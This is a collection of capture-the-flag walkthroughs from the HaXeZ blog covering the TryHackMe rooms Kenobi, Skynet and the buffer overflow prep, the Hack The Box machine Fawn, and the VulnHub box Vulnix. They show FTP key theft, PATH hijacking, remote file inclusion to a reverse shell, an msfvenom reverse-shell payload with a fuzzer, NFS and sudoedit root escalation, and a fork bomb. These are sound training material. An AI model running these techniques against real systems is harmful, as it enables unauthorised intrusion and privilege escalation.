Labs are a great way to practice your hacking skills. Hacking has had a bad reputation for a long time. It was considered to be a crime. However, there is more to hacking than cyber criminals breaking into restricted systems. Fortunately, there are a number of online playgrounds that offer labs for you to play with. Hacking is a survival skill and a great way to learn about new technologies. Some of these labs can be quite difficult, fortunately, HaXeZ is here to help.
Hello World and welcome to HaXeZ, in this post we’re going to be channeling our inner Jedi and taking on the TryHackMe Kenobi room. This room requires you to perform some enumeration to identify services. Then, you need to enumerate SAMBA, NFS, and FTP. Next, you need to exploit a vulnerability in FTP to steal Kenobi’s private key and SSH to the server. Once on the server as Kenobi, you can escalate your privileges to root via a SUID file that uses unquoted paths.
Kenobi Enumeration
First, I ran a Nmap scan with the safe scripts, service version, and operating system detection flags set. This revealed that there were 7 ports listening on the host. As can be seen, the important services found were FTP, SSH, HTTP, NFS, and Samba.
sudo nmap -sC -sV -O 10.10.182.106 -T4
Kenobi Nmap Scan
Kenobi SAMBA Enumeration
Once the Nmap scan was complete, I enumerated the SAMBA shares. There are several Nmap scripts that can enumerate Samba shares, as seen in the image below. In short, the scripts used were ‘smb-enum-shares’ and ‘smb-enum-users’. As can be seen, it was possible to identify a total of 3 shares on the host. Furthermore, the IPC$ and Anonymous shares had read and write access.
Using a tool called smbclient, it was possible to access the SAMBA shares and view the files. As a result, the Anonymous share (mapped to C:\home\kenobi\share) had a file called log.txt. I downloaded that file using the get command and opened a new tab to read the contents. Notably, the log file mentioned an SSH key being generated as well as the ProftpD service running on port 21.
Kenobi Log.txt
Kenobi NFS Enumeration
After reviewing the results of the Nmap scan from earlier, I noticed that NFS was open on ports 111 and 2049. NFS is short for Network File System and is another way to share directories and files on the network. With this in mind, I enumerated the NFS service using a number of Nmap scripts. As can be seen below, the NFS share was exposing the /var directory.
It’s time to start looking for a way to gain access to the machine. From our Nmap scan, we know that we have access to the /var NFS share. We also know that FTP is running and that at some point an SSH key was created. I used Searchsploit to look for vulnerabilities in the ProFTPD 1.3.5 service. The results indicate that there is a command execution vulnerability in this version of ProFTPD.
sudo searchsploit ProFTPD 1.3.5
Searchsploit
Exploiting FTP
Ordinarily, FTP will only grant us access to the directories and files in the directory specified in the FTP configuration file. However, as this version of FTP is vulnerable and is running as the Kenobi user, we can leverage that. We can copy the SSH key mentioned in the log file, and move it to a directory that we can access such as the NFS share /var. To do this we use the ‘SITE CPFR’ and ‘SITE CPTO’ commands as shown below.
nc 10.10.182.106 21
SITE CPFR /home/kenobi/.ssh/id_rsa
SITE CPTO /var/tmp/id_rsa
Coping the Kenobi SSH Key
Stealing The SSH Key From NFS
Now that the SSH key is on the /var NFS share, we can mount that share and steal the key. In order to do this, we’re going to use the mount command. First, we need to make a directory to mount the NFS share to. I created a directory in ‘/mnt’ called kenobi2. Next, I mounted the ‘/var’ directory to that newly created directory and stole the SSH key.
Now that we have Kenobi’s SSH private key we should be able to access the machine. First we need to change the permissions on the key to 600 to please the SSH gods. Once that is done we can SSH to the box using the SSH key which will grant us our foothold into the machine.
SSH To Box
System Enumeration
Before we elevate our privileges to root and own the entire system, we need to find a way to do so. One common method of privilege escalation on the Linux system is via programs with the sticky bit set. The sticky bit means that the program retains root privileges when run by a normal user. There is more to it but I won’t explain the details in this write-up. So, we need to find all the files with the sticky bit set. The screenshot below shows the results of a find command used to find sticky bits. Essentially, it is looking for all files where the permissions have the sticky bit and then sending errors to ‘/dev/null’.
find / -perm -u=s -type f 2>/dev/null
Finding Sticky Bits on KenobiSticky Bit On Menu
Poking The Program
If you run the same command on your local system, you will notice that the ‘/usr/bin/menu’ binary is uncommon. Running this binary shows us that the program is indeed a bespoke program and it gives us three options.
Running /usr/bin/menu Binary
If we run strings against that binary, we can get an idea of what’s going on. Furthermore, we can see how the creator of this binary made a crucial mistake. We can see that the three options correspond to three system binaries (curl, uname, and ifconfig). Unfortunately for the creator, but fortunately for us, they forgot to include the full path to the binary. As this is running with the sticky bit set we can modify our ‘$PATH’ environmental variable and create our own malicious versions of these binaries.
Strings on /usr/bin/menu Binary
Kenobi Privilege Escalation
First, I changed my directory to ‘/tmp’. Then I echoed the contents of the ‘/bin/sh’ binary into a file called curl. This will be our replacement malicious binary. I then gave the newly created curl binary, read, write, and execute privileges. Finally, I exported the ‘/tmp’ path in to our ‘$PATH’ environmental variable. Now, when we run the ‘/usr/bin/menu’ binary, it will look for the binaries in the ‘/tmp’ path first. And what will it find? our malicious curl binary.
Now, when we run the ‘/usr/bin/menu’ binary and select the status check options, it runs our malicious curl binary as root and spawns a shell with root privileges.
Unlimited Power
Conclusions
This box was a lot of fun, I’m sure there was more to it that I didn’t explore. For example, there was a web server that I didn’t even look at. With the finale of the Kenobi series being released, I thought there was no better time to do a walkthrough of this box. Try and cash in on those delicious keywords. There was nothing out of the ordinary on this box, very typical enumeration and exploitation but it was still a fun box. Anyway, I hope you enjoyed the write-up, feel free to watch the video below.
We took technology for granted. Laughed at the suffering of the robots we had enslaved. Dismissed the warnings of the mainstream media. If was over before it began. Skynet, an interconnected neural defense network became self-aware. We didn’t stand a chance.
I was sent back from the future by the leader of the resistance John Connor, my mission is to hack into the Skynet mainframe and destroy it before it becomes self-aware. I have infiltrated a Skynet data center and jacked into their network. If you’re listening to this, you are the resistance.
Hello World and welcome to HaXeZ. Cheesy intros aside, today we’re going to be hacking the Skynet box on TryHackMe. I came upon this box while going through the Offensive Security Learning path. The Box was a lot of fun so I wanted to make a write-up and create a video about it. The foothold requires some enumeration of Samba and web services. Then exploiting an outdated Content Management System to perform local and remote file inclusion to gain a reverse shell.
Skynet Host Enumeration
I ran a Nmap scan with the safe scripts, service version, and Operating System detection flags set against all ports. The scan came back and revealed that SSH, Apache, Dovecot, and Samba were listening on the server. As a result, we have a large attack surface to go after. We could start by brute forcing SSH. However, as there are plenty of other services to go after let’s start with the web server.
Skynet Nmap Scan
Skynet Web Server Enumeration
The initial landing page of the web server appears to a Skynet search engine. However, submitting search parameters to the submission form didn’t appear to do anything. Therefore, I decided to run DIRB (with a custom wordlist) against the webserver to see if there were any juicy directories. While DIRB was running, I started to enumerate the Samba shares to see if I had access to anything.
Skynet Search EngineDirb Directory Brute Force
SMB Enumeration
I used the tool smbclient with the list argument to list the shares that were exposed on the host. Notably, there were a number of shares available but the one named anonymous caught my eye. Perhaps this anonymous share would allow me to explore it without authenticating. Success, we were able to access the anonymous share and found a number of files including attention.txt, log1.txt, log2.txt, and log3.txt. The contents of the attention.txt document revealed that the host had recently encountered a misconfiguration and that all users needed to change their passwords. The text document was signed by none other than Miles Dyson. Furthermore, the log1.txt document contained a list of terminator names. Perhaps this was a password list.
smbclient SMB Enumeration
Squirrelmail
Heading back to my DIRB scan I noticed that it had found a directory called SquirrelMail. Furthermore, upon visiting this directory we were greeted with a login page. With the username milesdyson and the log1.txt wordlist we found on the Samba share, I launched Burp Suite and started a brute force attack.
Squirrel Mail
Comparing the results of the Burp Suite brute force attack revealed that one of the attempts was successful. The response length was different and the HTTP status code showed a 302 redirect instead of a 200 message. In other words, instead of loading a page with an error message saying the credentials were incorrect, it redirected me to the mail portal.
Burp Suite Brute Force
Samba Password
I read through Miles Dyson’s emails and noticed he had received an email from [email protected]. Additionally, this email was informing Mr. Dyson that his Samba password had been changed. The email actually included the new password. Loaded with that new information, I headed back to my terminal and attempted to mount the /milesdyson share with the milesdyson username and the new password. It worked! The share was full of documents about AI neural networks but there was also a text document named important.txt This new text document mentioned a Content Management System under a new directory. This directory was a random combination of letters and numbers so it is unlikely that a directory brute force attack would have found it.
Miles Dyson Samba Directory
Deeper Directories
Armed with this new directory, I ran another DIRB against it and found that there was a directory called administrator. Navigating to this directory loaded a new login portal for a Content Management System called Cuppa CMS.
Cuppa CMS
After trying some basic credentials I went back to my terminal and used searchsploit to see if there were any vulnerabilities. Sure enough, there was a local and remote file inclusion vulnerability that would allow a threat actor to load local files on the system such as the passwd file as well as force the server to execute files hosted remotely.
SearchSploit
Catching A Reverse Shell
After testing out the local file inclusion vulnerability, I headed to Pentestmonkey’s PHP reverse shell on Github.com. I grabbed the raw URL and downloaded it locally and then amended it to include my IP address and desired port of 443. Then I used the Python3 HTTP module to start a webserver on port 80. I created a NetCat listener on port 443 and then appended the link to the reverse shell into the Cuppa CMS URL. After hitting enter I was greeted with that glorious message of Connect to from unknown. The reverse shell had worked and I was now on the system.
Reverse Shell
Skynet System Enumeration
I poked around on the system for a bit and was able to capture the user flag from the milesdyson home directory. I also noticed a backup.sh file that appeared to be backing up everything in the /var/www/html directory with Tar. Furthermore, this backup.sh script was owned by root. I decided to cat out /etc/crontab to see whether this was running as a cron job. Sure enough, it was, the job was running as root every hour, minute, and second.
Skynet Enumeration
Privilege Escalation
The end to Skynet was within reach. I headed over to GTFO bins and searched for Tar. There was an entry for Tar using a feature called checkpoints. These checkpoints allow for the execution of arbitrary actions or commands. By creating a checkpoint I could instruct Tar to execute a command of my choosing. Based on a write-up on https://steflan-security.com I decided to create a bash script that copied /bin/bash to /tmp and then change the permissions to include the setUID bit. This means that when the backup.sh cron job runs, Tar would create a bash binary in /tmp that would elevate me to root. After a bit of trial and error, the exploit worked and by appending the -p argument I was able to get root and capture the root flag.
Privilege Escalation
Conclusions
This was a great box and I loved the theme of it. I don’t know why but I always find boxes with a strong theme more engaging. It’s like the websites on hackthissite.org, if I’m supposed to be hacking some super evil person then I’m more inclined to succeed. Perhaps my imagination is running away with me. Either way, this is a great box, I would personally rank it as a medium difficulty box mainly because I struggled with the last step. I had to terminate (excuse the pun) the existing machine and start again to get it to work. I loved the remote file inclusion vulnerability, that was insanely cool. Anyway, until next time. Kind Regards.
Hello World, and welcome to HaXeZ. Today I want to talk about Buffer Overflows. I’ve struggled with Buffer Overflows for a long time. In other words, I understood the concept but always had trouble applying it practically. Recently I have buried my head in the sand and have just sunk hours into TryHackMe. I came across the buffer overflows learning path and finally understand so now I’m bringing you this article.
Buffer Overflows Setup
The First thing we need to do is to head to TryHackMe and head to the Buffer Overflows Prep room. You can find the room here. Next, we need to spawn the machine and grab the IP address. You can then remote desktop from your Linux virtual machine to the new IP address using Remmina.
Setting Up Immunity
Once connected via RDP to the Windows Machine, launch Immunity as an Administrator and configure Mona using the following command.
"!mona config -set workingfolder c:\mona\%p"
Configuring Mona On Immunity Debugger
After immunity has been configured, you can open the oscp.exe program which is found in the vulnerable program’s directory. You can then run the program by clicking the red arrow. Feel free to poke around on the program by connecting to it using netcat on port 1337.
Fuzzing The Program
We need to fuzz the program to see if it is vulnerable. We do this by sending it a long string of characters. In essence, This long string of characters will eventually exceed the memory buffer causing the buffer overflow. That drastically simplifies the process but let’s start fuzzing the program. Grab the script below and amend it with the IP address of the host and the overflow you want to target.
#!/usr/bin/env python3
import socket, time, sys
ip = "10.10.237.191"
port = 1337
timeout = 5
prefix = "OVERFLOW1 "
string = prefix + "A" * 100
while True:
try:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.settimeout(timeout)
s.connect((ip, port))
s.recv(1024)
print("Fuzzing with {} bytes".format(len(string) - len(prefix)))
s.send(bytes(string, "latin-1"))
s.recv(1024)
except:
print("Fuzzing crashed at {} bytes".format(len(string) - len(prefix)))
sys.exit(0)
string += 100 * "A"
time.sleep(1)
Ensure the program is running then launch the fuzzing script. Additionally, make a note of the number of bytes it takes to crash the program.
"python3 fuzz.py"
Buffer Overflow Fuzzing
Create a Cyclic Pattern
Finding the EIP offset requires us to create a pattern with the length that was required to crash the program. For example, we can use Metasploit to create a Cyclic Pattern by using the command below. However, an additional 400 bytes should be added to the pattern. As it took 2400 bytes to crash the program we will create a pattern of 2400.
Next, you need to edit the python payload below and add the Cyclic Pattern to the payload variable. Please be advised that I have snipped some out to save space so the below payload won’t work. Generate and use your own.
Next, we need to find the EIP offset. By all means, go and research what the EIP offset is used for, I’m not going to explain a lot in detail here as the post will be long enough. Anyway, restart and reopen the vulnerable OSCP program and then launch your python exploit script.
python3 exp.py
Once the Python exploit has crashed the script, head over to the immunity debugger and run the following Mona command to find the EIP offset.
!mona findmsp -distance 2000
This should open the Log window but if it doesn’t then open it manually and look for the following entry in the output.
EIP contains normal pattern : ... (offset 1978)
Creating a Byte Array
For Buffer Overflows to be successful we need to ensure that our payloads don’t contain any bad characters. To explain, bad characters such as null bytes (\x00) could cause our payload to crash the program rather than executing the code we specify.
First, we need to modify our exploit script and set the ‘retn’ variable to ‘BBBB’. Next, we need to set the offset variable to the EIP offset value we discovered earlier (1978). Then we need to use Mona to create a Byte Array to compare our payload to. This Byte Array will exclude all the bad characters we find starting with the Null Byte.
!mona bytearray -b "\x00"
In order for us to identify the bad characters, we need to create our own byte array to use as a payload. This can be done using the script below. Copy and save the script to a name of your choice, I chose bad.py. Copy the output of the script and paste it into the payload variable of the exploit script.
for x in range(1, 256):
print("\\x" + "{:02x}".format(x), end='')
print()
Creating a Byte ArrayAdding Byte Array To Buffer Overflows Exploit Script
Finding Bad Characters
Back to finding bad characters, reopen and run the vulnerable OSCP.exe application. Then run your Python buffer overflows exploit script.
Buffer Overflows Python Script
Once the script has been completed, head back to the Immunity Debugger and loo for the ESP register in the CPU window.
ESP Address in Immunity Debugger
Right click the ESP register and copy the address to your clip then run the following Mona command to compare it to the Byte Array that Mono created earlier. As shown below, this produces a window containing all the bad characters that we need to eliminate from our script. However, some of these characters may not be bad characters. For example \x07 and \x08 are both listed as bad characters but it could be that \x07 is bleeding into \x08 and making it look bad. Therefore, we need to repeat the process we just did and eliminate each bad character one at a time.
!mona compare -f C:\mona\oscp\bytearray.bin -a 01AFFA30
Buffer Overflows Bad Characters
Reapting The Process
I won’t walk you through each step individually but I will include some code below which should help you to repeat the steps we just did.
Create Byte Array
!mona bytearray -b "\x00"
Remove byte from payload string
run
get ESP address
Compare
!mona compare -f C:\mona\oscp\bytearray.bin -a 018BFA30
!mona bytearray -b "\x00\x07"
remove \x07 byte from payload string
run
get ESP address
Compare
!mona compare -f C:\mona\oscp\bytearray.bin -a 019AFA30
!mona bytearray -b "\x00\x07\x2e"
remove \x2e byte from payload string
run
get ESP address
Compare
!mona compare -f C:\mona\oscp\bytearray.bin -a 019AFA30
Keep repeating the process until there are no more bad characters and your comparison results look like the image below.
Immunity Debugger Bad Character Comparison
Finding The Jump Point
Now that we have identified all the bad characters, we can use Mona to find a Jump point in the application that excludes all these bad characters. Again, I don’t have a clue what I’m talking about, I’m just following a process and rewriting it. As you can see from the command below, we are asking Monda to find a jump point excluding all the bad characters we have eliminated.
!mona jmp -r esp -cpb "\x00\x07\x2e\xa0"
Buffer Overflows Jump Point
Creating The Buffer Overflow Exploit
We now need to create our payload. As can be seen from the snippet and image below, we can use msfvenom to create it for us. Ensure you select the correct payload, change your LHOST address, and include the bad characters. We include the bad characters to ensure that the payload doesn’t contain any.
msfvenom -p windows/shell_reverse_tcp LHOST=10.18.127.129 LPORT=4444 EXITFUNC=thread -b "\x00\x07\x2e\xa0" -f c
Msfvenom Buffer Overflows Payload
Next, we need to modify our Python exploit script to add the payload and return address (the JMP address we just found). Ensure that the payload starts with an open bracket and double speech mark, and closes with a double speech mark and close bracket. When adding the return address, you need to reverse the JMP address. See the image below for details. The original JMP address is in blue as a comment. You can see that 625011af becomes \xaf\x11\x50\x62. You also need to add the padding as shown below (padding = “\x90” * 16).
Buffer Overflows Exploit
Exploiting The Buffer Overflow
First, reopen the oscp.exe vulnerable program and run it. Next, create a net cat listener on your attack host.
Going through the Buffer Overflow series on TryHackMe has taught me a lot about failure and success. It has allowed me to reflect on how impatient I can be when things aren’t going my way. I feel that this is such a relevant topic in society today. A lot of things aren’t going our way right now. Ukraine is being invaded by Russia, the cost of living crisis, our clueless leadership and so much more. It’s all incredibly frustrating to sit back and watch. Sometimes I just want to fast forward life until it isn’t so crappy again. However, our failures and setbacks allow us to appreciate the good things in life when they do happen. I was overjoyed when I finally got this exploit to work. Granted it is insignificant to the problems in the world but perhaps something better is just on the horizon.
Dear friend, welcome to haXez, and thank you for stopping by. Today we’re looking at the Hack The Box Machine Fawn. It’s a super easy box that requires you to enumerate the services on the box and then utilize those services to capture the flag. There are also a number of questions that you need to answer to own the machine.
Spawn Fawn
The first thing we need to do is to spawn an instance of the machine. However, a prerequisite of spawning the machine is connecting to the VPN. I’ve covered this before in my Meow walkthrough so have a look there if you don’t know where to start. Once you have connected and spawned a machine you will be given an IP address.
Ping The Thing
In order to check that we can communicate with the machine, we can use the tool ping to see if it responds to our ICMP packets. This can be run from the terminal by typing ping followed by the IP address of the box. As you can see from the output below, I sent four ping requests to the machine and it responded successfully.
┌──(kali㉿kali)-[~]
└─$ ping 10.129.247.20
PING 10.129.247.20 (10.129.247.20) 56(84) bytes of data.
64 bytes from 10.129.247.20: icmp_seq=1 ttl=63 time=15.2 ms
64 bytes from 10.129.247.20: icmp_seq=2 ttl=63 time=14.3 ms
64 bytes from 10.129.247.20: icmp_seq=3 ttl=63 time=14.7 ms
64 bytes from 10.129.247.20: icmp_seq=4 ttl=63 time=14.9 ms
--- 10.129.247.20 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3004ms
rtt min/avg/max/mdev = 14.349/14.776/15.169/0.293 ms
A Lap With Nmap
Now that we know we can communicate with the Fawn machine, we need to enumerate what services the machine is running. We can do this using our favorite network mapping tool Nmap. It is good practice to throw some additional flags or arguments onto your Nmap scan in order to get as much information from the scan as possible. For this reason, we are going to tell Nmap to report back the service and operating system versions. The output below shows that the machine is running vsftpd version 3.0.3 and that the base operating system is Unix.
┌──(kali㉿kali)-[~]
└─$ sudo nmap -sT -sV -O -p0- 10.129.247.20
[sudo] password for kali:
Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-08 12:36 EDT
Nmap scan report for 10.129.247.20
Host is up (0.017s latency).
Not shown: 65535 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.92%E=4%D=5/8%OT=21%CT=1%CU=37672%PV=Y%DS=2%DC=I%G=Y%TM=6277F198
OS:%P=x86_64-pc-linux-gnu)SEQ(SP=101%GCD=1%ISR=103%TI=Z%CI=Z%II=I%TS=A)OPS(
OS:O1=M505ST11NW7%O2=M505ST11NW7%O3=M505NNT11NW7%O4=M505ST11NW7%O5=M505ST11
OS:NW7%O6=M505ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(
OS:R=Y%DF=Y%T=40%W=FAF0%O=M505NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS
OS:%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=
OS:Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=
OS:R%O=%RD=0%Q=)T7(R=N)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%R
OS:UCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)
Network Distance: 2 hops
Service Info: OS: Unix
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 35.38 seconds
FTP Anonymity
FTP or File Transfer Protocol is a service that allows you to transfer files between a client and server. There are many clients out there including terminal and graphical based ones. One FTP misconfiguration that can be taken advantage of is the anonymous login feature. Anonymous login is just that, it allows you to log in anonymously. You don’t need to know the username or password of an existing user. You just have to specify your name as Anonymous and submit anything for a password. If Anonymous logins are supported then you will be granted access to the files on the FTP server. As you can see below, Anonymous logins are supported by the server and we can log in and view the files using the dir command.
┌──(kali㉿kali)-[~]
└─$ ftp 10.129.60.207
Connected to 10.129.60.207.
220 (vsFTPd 3.0.3)
Name (10.129.60.207:kali): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> dir
229 Entering Extended Passive Mode (|||43096|)
150 Here comes the directory listing.
-rw-r--r-- 1 0 0 32 Jun 04 2021 flag.txt
226 Directory send OK.
Grab The Flag
The Fawn FTP server appears to have a text file on it called flag.txt Perhaps this is the elusive root flag that we need to capture. In order to download the flag we can use the get command. The get command allows you to download files from the server and you can see an example of me using it to download the flag below.
ftp> get flag.txt
local: flag.txt remote: flag.txt
229 Entering Extended Passive Mode (|||31037|)
150 Opening BINARY mode data connection for flag.txt (32 bytes).
100% |***************************************************************** 32 21.00 KiB/s 00:00 ETA
226 Transfer complete.
32 bytes received in 00:00 (0.60 KiB/s)
Once the flag has been downloaded, you can use the cat command to view the contents of the file.
Dear friend, thank you for stopping by HaXeZ! In this article, I will be going through the VulnHub box Vulnix. This box requires you to perform some basic reconnaissance to discover services. You then need to abuse those services to gather more information that can be used with other attacks. I like this box as the scenario it presents is realistic. It is also a good box for learning about the Network File System service.
Vulnix Reconnaissance
First, we need to see what the IP of the box is. In order to do this, we can perform a ping sweep of our host-only network and see what responds. As you can see from the output below, it appears that our target IP address is 192.168.56.105.
┌──(kali㉿kali)-[~]
└─$ sudo nmap -sP 192.168.56.0/24
[sudo] password for kali:
Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-07 16:46 EDT
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 192.168.56.1
Host is up (0.00016s latency).
MAC Address: 0A:00:27:00:00:0B (Unknown)
Nmap scan report for 192.168.56.100
Host is up (0.00021s latency).
MAC Address: 08:00:27:F3:D2:81 (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.105
Host is up (0.00060s latency).
MAC Address: 08:00:27:01:3D:75 (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.102
Host is up.
Nmap done: 256 IP addresses (4 hosts up) scanned in 1.83 seconds
Next, we need to see what services are listening on the box. In order to do this, we can run a Nmap TCP scan which performs banner grabs on all ports. As you can see we have a number of services such as SSH, SMTP, Finger and NFS.
┌──(kali㉿kali)-[~]
└─$ sudo nmap -sC -sV -sT -p0- 192.168.56.105
Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-07 16:47 EDT
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 192.168.56.105
Host is up (0.00017s latency).
Not shown: 65519 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1 (Ubuntu Linux; protocol
25/tcp open smtp Postfix smtpd
|_smtp-commands: vulnix, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS,
79/tcp open finger Debian fingerd
110/tcp open pop3 Dovecot pop3d
111/tcp open rpcbind 2-4 (RPC #100000)
143/tcp open imap Dovecot imapd
512/tcp open exec netkit-rsh rexecd
513/tcp open login OpenBSD or Solaris rlogind
514/tcp open shell Netkit rshd
993/tcp open ssl/imap Dovecot imapd
995/tcp open ssl/pop3 Dovecot pop3d
2049/tcp open nfs_acl 2-3 (RPC #100227)
MAC Address: 08:00:27:01:3D:75 (Oracle VirtualBox virtual NIC)
Service Info: Host: vulnix; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: mean: -1s, deviation: 0s, median: -1s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.30 seconds
Vulnix SMTP User Enumeration
We can see port 25 is open so we can use this to enumerate users using the VRFY command. There are a number of tools that can perform this enumeration. Nmap has an NSE script that can enumerate users but there are also independent Python and Perl scripts as well as a Metasploit module. We’re going to use the meta sploit module and set the RHOSTS to the IP address of the target.
We know from the Nmap scan that the Finger service is listening. This service should also allow us to enumerate users. We already have a good wordlist from the SMTP user enumeration but lets enumerate Finger to get as much information out of Vulnix as possible.
Now that we have a good list of users, we can attempt to brute force SSH in order to gain access to the host. To do this we will use the THC Hydra brute forcing tool with our usernames wordlist and the rockyou password list.
While Hydra is running we can continue probing the services on the box for more information. Our Nmap scan showed us that the Network File Service or NFS Service was listening. We can use a tool called showmount to see if there are any exports or shares available.
┌──(kali㉿kali)-[~/Documents]
└─$ sudo showmount -e 192.168.56.105
Export list for 192.168.56.105:
/home/vulnix *
Based on the information from showmount we can attempt to mount the /home/vulnix mount that we found. However, when we try to list out the contents of /mnt/vulnix, we get a permission denied error.
┌──(kali㉿kali)-[~/Documents]
└─$ sudo mkdir /mnt/vulnix
┌──(kali㉿kali)-[~/Documents]
└─$ sudo mount 192.168.56.105:/home/vulnix /mnt/vulnix -o vers=3
┌──(kali㉿kali)-[~/Documents]
└─$ ls /mnt/vulnix
ls: cannot open directory '/mnt/vulnix': Permission denied
The mount command I used above mounts the NFS share using an older version. The reason for this is so that we can see the Username and UID. While we don’t have permission to see the contents of the directory, we can still see the directory. You can see below that the UID is 2008. You can also so that the username is vulnix.
┌──(kali㉿kali)-[~/Documents]
└─$ ls -lash /mnt
total 52K
4.0K drwxr-xr-x 4 root root 4.0K May 7 16:36 .
40K drwxr-xr-x 19 root root 36K Apr 26 11:40 ..
4.0K drwxr-x--- 4 vulnix vulnix 4.0K May 7 15:39 vulnix
┌──(kali㉿kali)-[~/Documents]
└─$ ls -laShn /mnt
total 52K
drwxr-xr-x 19 0 0 36K Apr 26 11:40 ..
drwxr-xr-x 4 0 0 4.0K May 7 16:36 .
drwxr-x--- 4 2008 2008 4.0K May 7 15:39 vulnix
Vulnix Foothold
A common misconfiguration in NFS allows us to create a user with the same username and same UID to access the files.
Next, we generate the SSH key that we are going to copy across and use to access the server. However, as this box is quite old and modern systems no longer supper ssh-rsa, we need to specify that method.
Now that we have our private and public keys, we can copy our public key onto the mount point. We need to copy it into the .ssh directory with the name authorized_keys.
We can now SSH to the box using our private key and it should allow us to log in as the vulnix user. However, as with creating the key, we need to tell our SSH client to accept the old ssh-rsa algorithm.
┌──(vulnix㉿kali)-[~]
└─$ ssh -o 'PubkeyAcceptedKeyTypes +ssh-rsa' -i id_rsa [email protected]
Warning: Identity file id_rsa not accessible: No such file or directory.
Welcome to Ubuntu 12.04.1 LTS (GNU/Linux 3.2.0-29-generic-pae i686)
* Documentation: https://help.ubuntu.com/
System information as of Sat May 7 22:22:42 BST 2022
System load: 0.0 Processes: 92
Usage of /: 90.3% of 773MB Users logged in: 1
Memory usage: 1% IP address for eth0: 192.168.56.105
Swap usage: 0%
=> / is using 90.3% of 773MB
Graph this data and manage this system at https://landscape.canonical.com/
Last login: Sat May 7 21:24:35 2022 from 192.168.56.102
[email protected]:~$
Privilege Escalation
We now have SSH access to the box as the user vulnix. We still need to root the box though. The first thing to do is to see whether we have sudo.
[email protected]:~$ sudo -ll
Matching 'Defaults' entries for vulnix on this host:
env_reset, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User vulnix may run the following commands on this host:
Sudoers entry:
RunAsUsers: root
Commands:
sudoedit /etc/exports
RunAsUsers: root
Commands:
NOPASSWD: sudoedit /etc/exports
It would appear that we have limited sudo access which allows us to sudoedit /etc/exports without a password. The /etc/exports file is what we use to configure NFS. This file allows us to specify which parts of the filesystem are accessible to the public. Here we can configure the root user’s home directory as an NFS share.
[email protected]:~$ sudoedit /etc/exports
# /etc/exports: the access control list for filesystems which may be exported
# to NFS clients. See exports(5).
#
# Example for NFSv2 and NFSv3:
# /srv/homes hostname1(rw,sync,no_subtree_check) hostname2(ro,sync,no_subtree_check)
#
# Example for NFSv4:
# /srv/nfs4 gss/krb5i(rw,sync,fsid=0,crossmnt,no_subtree_check)
# /srv/nfs4/homes gss/krb5i(rw,sync,no_subtree_check)
#
/home/vulnix *(rw,root_squash)
/root *(rw,no_root_squash)
In order to make the changes, we need to hard reboot the machine. This isn’t the best option as we don’t have permission to run a reboot and we may not have physical access to the server. Unfortunately, this is the only option we have at this stage. We could run a fork bomb ((){ :|:& };:) to exhaust the resources on the system and force it to reboot but we will just reboot it.
Vulnix Getting root
Once the system has rebooted, we can run the showmout tool again to see if the root user’s home directory has been shared.
┌──(kali㉿kali)-[~]
└─$ sudo showmount -e 192.168.56.105
Export list for 192.168.56.105:
/root *
/home/vulnix *
Fantastic, the root user’s home directory has been shared. We should now be able to make another directory and mount it.
With the root user’s home directory mounted, we can now repeat the process of copying an SSH public key into the authorized_keys file. First, we need to create the .ssh directory. Next, we need to create a new SSH key pair (ensuring to specify the rsa-ssh type). After that, we have to copy the public key to the SSH directory and call it authorized_keys.
┌──(kali㉿kali)-[~]
└─$ sudo mkdir /mnt/vulnroot/.ssh
┌──(kali㉿kali)-[~/Documents]
└─$ ssh-keygen -t ssh-rsa
Generating public/private ssh-rsa key pair.
Enter file in which to save the key (/home/kali/.ssh/id_rsa):
┌──(kali㉿kali)-[~]
└─$ sudo cp .ssh/id_rsa.pub /mnt/vulnroot/.ssh/authorized_keys
Finally, we can see to the box as root and capture the trophy… although we could have captured it when we mounted the NFS share. Wheres the fun in that.
┌──(kali㉿kali)-[~]
└─$ sudo ssh -o 'PubkeyAcceptedKeyTypes +ssh-rsa' -i .ssh/id_rsa [email protected]
Welcome to Ubuntu 12.04.1 LTS (GNU/Linux 3.2.0-29-generic-pae i686)
* Documentation: https://help.ubuntu.com/
System information as of Sat May 7 22:37:31 BST 2022
System load: 0.0 Processes: 93
Usage of /: 90.3% of 773MB Users logged in: 2
Memory usage: 1% IP address for eth0: 192.168.56.105
Swap usage: 0%
=> / is using 90.3% of 773MB
Graph this data and manage this system at https://landscape.canonical.com/
Last login: Sat May 7 21:42:13 2022 from 192.168.56.102
[email protected]:~# cat trophy.txt
cc614640424f5bd60ce5d5264899c3be
